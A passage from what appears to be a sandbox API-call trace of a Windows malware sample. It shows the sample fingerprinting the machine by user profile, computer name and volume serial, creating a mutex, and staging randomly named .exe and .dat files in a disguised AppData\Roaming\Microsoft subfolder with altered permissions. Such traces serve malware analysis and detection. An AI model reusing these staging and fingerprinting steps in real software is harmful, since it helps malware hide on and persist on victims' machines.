Flags=0x8, Size=0x22) returned 0x21ff700 [0248.420] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\S-1-5-21-1051304884-625712362-2192934891-1000", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f850 | out: phkResult=0x19f850*=0x2c0) returned 0x0 [0248.421] RegQueryValueExW (in: hKey=0x2c0, lpValueName="ProfileImagePath", lpReserved=0x0, lpType=0x19f848, lpData=0x0, lpcbData=0x19f84c*=0x0 | out: lpType=0x19f848*=0x2, lpData=0x0, lpcbData=0x19f84c*=0x20) returned 0x0 [0248.421] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x20) returned 0x21ff730 [0248.421] RegQueryValueExW (in: hKey=0x2c0, lpValueName="ProfileImagePath", lpReserved=0x0, lpType=0x0, lpData=0x21ff730, lpcbData=0x19f84c*=0x20 | out: lpType=0x0, lpData=0x21ff730*=0x43, lpcbData=0x19f84c*=0x20) returned 0x0 [0248.421] RegCloseKey (hKey=0x2c0) returned 0x0 [0248.421] lstrlenA (lpString="P") returned 1 [0248.421] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.421] PathUnquoteSpacesW (in: lpsz="C:\\Users\\FD1HVy" | out: lpsz="C:\\Users\\FD1HVy") returned 0 [0248.421] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\FD1HVy", lpDst=0x19f8e8, nSize=0x105 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0248.421] LocalFree (hMem=0x744fd8) returned 0x0 [0248.421] lstrlenW (lpString="C:\\Users\\FD1HVy") returned 15 [0248.421] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff730 | out: hHeap=0x2180000) returned 1 [0248.421] lstrlenA (lpString="5") returned 1 [0248.421] lstrlenA (lpString="12") returned 2 [0248.421] GetComputerNameW (in: lpBuffer=0x19f47c, nSize=0x19f694 | out: lpBuffer="NQDPDE", nSize=0x19f694) returned 1 [0248.421] lstrlenA (lpString="4") returned 1 [0248.421] lstrcpynW (in: lpString1=0x19f6a8, lpString2="NQDPDE", iMaxLength=256 | out: lpString1="NQDPDE") returned="NQDPDE" [0248.422] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ffa50 [0248.422] GetVolumeInformationW (in: lpRootPathName="c:\\\\", lpVolumeNameBuffer=0x19f07c, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x19f690, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x19f27c, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x19f690*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0248.422] lstrlenA (lpString="c") returned 1 [0248.422] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa50 | out: hHeap=0x2180000) returned 1 [0248.422] lstrlenW (lpString="NQDPDE") returned 6 [0248.422] lstrlenW (lpString="NQDPDE") returned 6 [0248.422] _vsnwprintf (in: _Buffer=0x19f6b4, _BufferCount=0xfa, _Format="%u", _ArgList=0x19f070 | out: _Buffer="3021567792") returned 10 [0248.422] lstrcatW (in: lpString1="NQDPDE3021567792", lpString2="FD1HVy" | out: lpString1="NQDPDE3021567792FD1HVy") returned="NQDPDE3021567792FD1HVy" [0248.422] lstrlenW (lpString="NQDPDE3021567792FD1HVy") returned 22 [0248.422] CharUpperBuffW (in: lpsz="NQDPDE3021567792FD1HVy", cchLength=0x16 | out: lpsz="NQDPDE3021567792FD1HVY") returned 0x16 [0248.422] lstrlenW (lpString="NQDPDE3021567792FD1HVY") returned 22 [0248.422] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x21) returned 0x21ff700 [0248.422] lstrlenA (lpString="user32.dll") returned 10 [0248.422] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.422] lstrlenA (lpString="user32.dll") returned 10 [0248.422] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.422] lstrlenA (lpString="user32.dll") returned 10 [0248.422] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.422] lstrlenA (lpString="user32.dll") returned 10 [0248.422] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.422] lstrlenA (lpString="user32.dll") returned 10 [0248.422] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.423] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.423] lstrlenA (lpString="xafpqko") returned 7 [0248.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fba4, cbMultiByte=-1, lpWideCharStr=0x19fb00, cchWideChar=260 | out: lpWideCharStr="xafpqko") returned 8 [0248.423] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ffaf8 [0248.423] lstrcatW (in: lpString1="xafpqko", lpString2=".dat" | out: lpString1="xafpqko.dat") returned="xafpqko.dat" [0248.423] lstrlenA (lpString=".") returned 1 [0248.423] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffaf8 | out: hHeap=0x2180000) returned 1 [0248.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fba4, cbMultiByte=-1, lpWideCharStr=0x19fb48, cchWideChar=260 | out: lpWideCharStr="xafpqko") returned 8 [0248.423] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ffa80 [0248.423] lstrcatW (in: lpString1="xafpqko", lpString2=".exe" | out: lpString1="xafpqko.exe") returned="xafpqko.exe" [0248.423] lstrlenA (lpString=".") returned 1 [0248.423] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa80 | out: hHeap=0x2180000) returned 1 [0248.423] lstrlenA (lpString="xafpqko") returned 7 [0248.423] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1b) returned 0x21ff700 [0248.423] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ffbb8 [0248.423] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0248.423] lstrlenA (lpString="user32.dll") returned 10 [0248.423] lstrlenA (lpString="1234567890") returned 10 [0248.424] lstrlenA (lpString="user32.dll") returned 10 [0248.424] lstrlenA (lpString="1234567890") returned 10 [0248.424] lstrlenA (lpString="user32.dll") returned 10 [0248.424] lstrlenA (lpString="1234567890") returned 10 [0248.424] lstrlenA (lpString="user32.dll") returned 10 [0248.424] lstrlenA (lpString="1234567890") returned 10 [0248.424] lstrlenA (lpString="user32.dll") returned 10 [0248.424] lstrlenA (lpString="1234567890") returned 10 [0248.424] lstrlenA (lpString="user32.dll") returned 10 [0248.424] lstrlenA (lpString="1234567890") returned 10 [0248.424] lstrlenA (lpString="user32.dll") returned 10 [0248.424] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0248.424] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.424] lstrlenA (lpString="1234567890") returned 10 [0248.424] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffbb8 | out: hHeap=0x2180000) returned 1 [0248.424] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff7a0 | out: hHeap=0x2180000) returned 1 [0248.424] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffba0 | out: hHeap=0x2180000) returned 1 [0248.424] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2718e58 | out: hHeap=0x2180000) returned 1 [0248.427] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x800) returned 0x26f0048 [0248.428] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x2c0 [0248.428] ConvertSidToStringSidW () returned 0x1 [0248.428] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x72) returned 0x21ff700 [0248.428] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") returned 56 [0248.428] lstrlenW (lpString="\\") returned 1 [0248.428] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45 [0248.428] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xce) returned 0x21ff888 [0248.428] lstrcatW (in: lpString1="", lpString2="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" [0248.428] lstrcatW (in: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" [0248.428] lstrcatW (in: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\S-1-5-21-1051304884-625712362-2192934891-1000") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\S-1-5-21-1051304884-625712362-2192934891-1000" [0248.429] lstrlenA (lpString="S") returned 1 [0248.429] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0248.429] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x22) returned 0x21ff960 [0248.429] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\S-1-5-21-1051304884-625712362-2192934891-1000", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f3e0 | out: phkResult=0x19f3e0*=0x2c4) returned 0x0 [0248.429] RegQueryValueExW (in: hKey=0x2c4, lpValueName="ProfileImagePath", lpReserved=0x0, lpType=0x19f3d8, lpData=0x0, lpcbData=0x19f3dc*=0x0 | out: lpType=0x19f3d8*=0x2, lpData=0x0, lpcbData=0x19f3dc*=0x20) returned 0x0 [0248.429] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x20) returned 0x21ff990 [0248.429] RegQueryValueExW (in: hKey=0x2c4, lpValueName="ProfileImagePath", lpReserved=0x0, lpType=0x0, lpData=0x21ff990, lpcbData=0x19f3dc*=0x20 | out: lpType=0x0, lpData=0x21ff990*=0x43, lpcbData=0x19f3dc*=0x20) returned 0x0 [0248.429] RegCloseKey (hKey=0x2c4) returned 0x0 [0248.429] lstrlenA (lpString="P") returned 1 [0248.430] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0248.430] PathUnquoteSpacesW (in: lpsz="C:\\Users\\FD1HVy" | out: lpsz="C:\\Users\\FD1HVy") returned 0 [0248.430] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\FD1HVy", lpDst=0x19f488, nSize=0x104 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0248.430] LocalFree (hMem=0x744fd8) returned 0x0 [0248.430] lstrlenW (lpString="C:\\Users\\FD1HVy") returned 15 [0248.430] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff990 | out: hHeap=0x2180000) returned 1 [0248.430] lstrlenA (lpString="5") returned 1 [0248.430] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x1, pszPath=0x19f01c | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0248.436] GetCurrentThread () returned 0xfffffffe [0248.436] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x19f008 | out: TokenHandle=0x19f008*=0x0) returned 0 [0248.436] GetLastError () returned 0x3f0 [0248.436] GetCurrentProcess () returned 0xffffffff [0248.436] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f008 | out: TokenHandle=0x19f008*=0x2c4) returned 1 [0248.436] GetUserProfileDirectoryW () returned 0x1 [0248.437] CloseHandle (hObject=0x2c4) returned 1 [0248.437] lstrlenW (lpString="C:\\Users\\FD1HVy") returned 15 [0248.437] lstrcpynW (in: lpString1=0x19f698, lpString2="AppData\\Roaming", iMaxLength=260 | out: lpString1="AppData\\Roaming") returned="AppData\\Roaming" [0248.437] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x21) returned 0x21ff960 [0248.438] lstrlenA (lpString="xafpqko") returned 7 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] lstrlenA (lpString="user32.dll") returned 10 [0248.438] lstrlenA (lpString="aabcdeefghiijklmnoopqrstuuvwxyyz") returned 32 [0248.438] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0248.438] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x14) returned 0x21ff960 [0248.438] lstrlenW (lpString="C:\\Users\\FD1HVy") returned 15 [0248.438] lstrlenW (lpString="\\") returned 1 [0248.439] lstrlenW (lpString="AppData\\Roaming") returned 15 [0248.439] lstrlenW (lpString="\\") returned 1 [0248.439] lstrlenW (lpString="Microsoft") returned 9 [0248.439] lstrlenW (lpString="\\") returned 1 [0248.439] lstrlenW (lpString="Qieeyrekuc") returned 10 [0248.439] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x6a) returned 0x21ff700 [0248.439] lstrcatW (in: lpString1="", lpString2="C:\\Users\\FD1HVy" | out: lpString1="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0248.439] lstrcatW (in: lpString1="C:\\Users\\FD1HVy", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0248.439] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\", lpString2="AppData\\Roaming" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming") returned="C:\\Users\\FD1HVy\\AppData\\Roaming" [0248.439] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\" [0248.439] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft" [0248.439] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\" [0248.439] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\", lpString2="Qieeyrekuc" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" [0248.439] lstrlenA (lpString="M") returned 1 [0248.439] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0248.439] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc")) returned 0xffffffff [0248.439] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc"), lpSecurityAttributes=0x0) returned 1 [0248.440] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc")) returned 0x10 [0248.440] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f3b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f3c8 | out: pSid=0x19f3c8*=0x744ad0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0248.440] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f3b0, nSubAuthorityCount=0x2, nSubAuthority0=0x2, nSubAuthority1=0x1, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f3cc | out: pSid=0x19f3cc*=0x744830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0xf), SubAuthority=([0]=0x2, [1]=0x0))) returned 1 [0248.440] SetEntriesInAclA () returned 0x0 [0248.746] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x716298 [0248.746] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x716298, dwRevision=0x1 | out: pSecurityDescriptor=0x716298) returned 1 [0248.746] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x716298, bDaclPresent=1, pDacl=0x73a518, bDaclDefaulted=0 | out: pSecurityDescriptor=0x716298) returned 1 [0248.746] SetFileSecurityW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", SecurityInformation=0x4, pSecurityDescriptor=0x716298) returned 1 [0248.746] LocalFree (hMem=0x716298) returned 0x0 [0248.746] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned 52 [0248.746] lstrlenW (lpString="\\") returned 1 [0248.746] lstrlenW (lpString="xafpqko.exe") returned 11 [0248.746] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x82) returned 0x26f0850 [0248.747] lstrcatW (in: lpString1="", lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" [0248.747] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\" [0248.747] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\", lpString2="xafpqko.exe" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0248.747] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned 52 [0248.747] lstrlenW (lpString="\\") returned 1 [0248.747] lstrlenW (lpString="xafpqko.dat") returned 11 [0248.747] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x82) returned 0x26f08e0 [0248.747] lstrcatW (in: lpString1="", lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" [0248.747] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\" [0248.747] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\", lpString2="xafpqko.dat" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0248.747] lstrlenA (lpString="xafpqko") returned 7 [0248.747] lstrlenA (lpString=".") returned 1 [0248.747] lstrlenA (lpString="q") returned 1 [0248.747] lstrlenA (lpString="b") returned 1 [0248.747] lstrlenA (lpString="1") returned 1 [0248.747] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ffae0 [0248.747] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0248.747] lstrcatA (in: lpString1="xafpqko", lpString2="." | out: lpString1="xafpqko.") returned="xafpqko." [0248.747] lstrcatA (in: lpString1="xafpqko.", lpString2="q" | out: lpString1="xafpqko.q") returned="xafpqko.q" [0248.747] lstrcatA (in: lpString1="xafpqko.q", lpString2="b" | out: lpString1="xafpqko.qb") returned="xafpqko.qb" [0248.747] lstrcatA (in: lpString1="xafpqko.qb", lpString2="1" | out: lpString1="xafpqko.qb1") returned="xafpqko.qb1" [0248.747] lstrlenA (lpString="xafpqko.qb1") returned 11 [0248.747] lstrlenA (lpString="user32.dll") returned 10 [0248.747] lstrlenA (lpString="user32.dll") returned 10 [0248.747] lstrlenA (lpString="user32.dll") returned 10 [0248.747] lstrlenA (lpString="user32.dll") returned 10 [0248.747] lstrlenA (lpString="user32.dll") returned 10 [0248.747] lstrlenA (lpString="user32.dll") returned 10 [0248.747] lstrlenA (lpString="user32.dll") returned 10 [0248.747] lstrlenA (lpString="user32.dll") returned 10 [0248.748] lstrlenA (lpString="user32.dll") returned 10 [0248.748] lstrlenA (lpString="user32.dll") returned 10 [0248.748] lstrlenA (lpString="user32.dll") returned 10 [0248.748] lstrlenA (lpString="user32.dll") returned 10 [0248.748] lstrlenA (lpString="user32.dll") returned 10 [0248.748] lstrlenA (lpString="user32.dll") returned 10 [0248.748] lstrlenA (lpString="user32.dll") returned 10 [0248.748] lstrlenA (lpString="user32.dll") returned 10 [0248.748] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x47) returned 0x21ff960 [0248.748] _vsnprintf (in: _DstBuf=0x19f858, _MaxCount=0x28, _Format="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}", _ArgList=0x19edf8 | out: _DstBuf="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 38 [0248.748] lstrlenA (lpString="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}") returned 70 [0248.748] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0248.748] lstrlenA (lpString="Global") returned 6 [0248.748] lstrlenA (lpString="\\") returned 1 [0248.748] lstrlenA (lpString="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 38 [0248.748] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x2e) returned 0x21ff778 [0248.748] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0248.748] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0248.748] lstrcatA (in: lpString1="Global\\", lpString2="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}" | out: lpString1="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}" [0248.748] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 0x2e8 [0248.749] GetLastError () returned 0x0 [0248.749] lstrlenA (lpString="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 45 [0248.749] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff778 | out: hHeap=0x2180000) returned 1 [0248.749] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.dat")) returned 0xffffffff [0248.749] lstrlenA (lpString="") returned 0 [0248.749] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xea60) returned 0x0 [0248.749] lstrlenA (lpString="") returned 0 [0248.749] ReleaseMutex (hMutex=0x2c0) returned 1 [0248.749] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ffac8 [0248.749] lstrlenW (lpString="C:\\BlotRots\\Loterios.exe") returned 24 [0248.749] lstrlenW (lpString=".cfg") returned 4 [0248.749] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x3a) returned 0x21ff960 [0248.749] lstrcatW (in: lpString1="", lpString2="C:\\BlotRots\\Loterios.exe" | out: lpString1="C:\\BlotRots\\Loterios.exe") returned="C:\\BlotRots\\Loterios.exe" [0248.749] lstrcatW (in: lpString1="C:\\BlotRots\\Loterios.exe", lpString2=".cfg" | out: lpString1="C:\\BlotRots\\Loterios.exe.cfg") returned="C:\\BlotRots\\Loterios.exe.cfg" [0248.749] lstrlenA (lpString=".") returned 1 [0248.749] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffac8 | out: hHeap=0x2180000) returned 1 [0248.749] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xea60) returned 0x0 [0248.749] ReleaseMutex (hMutex=0x2c0) returned 1 [0248.749] GetFileAttributesW 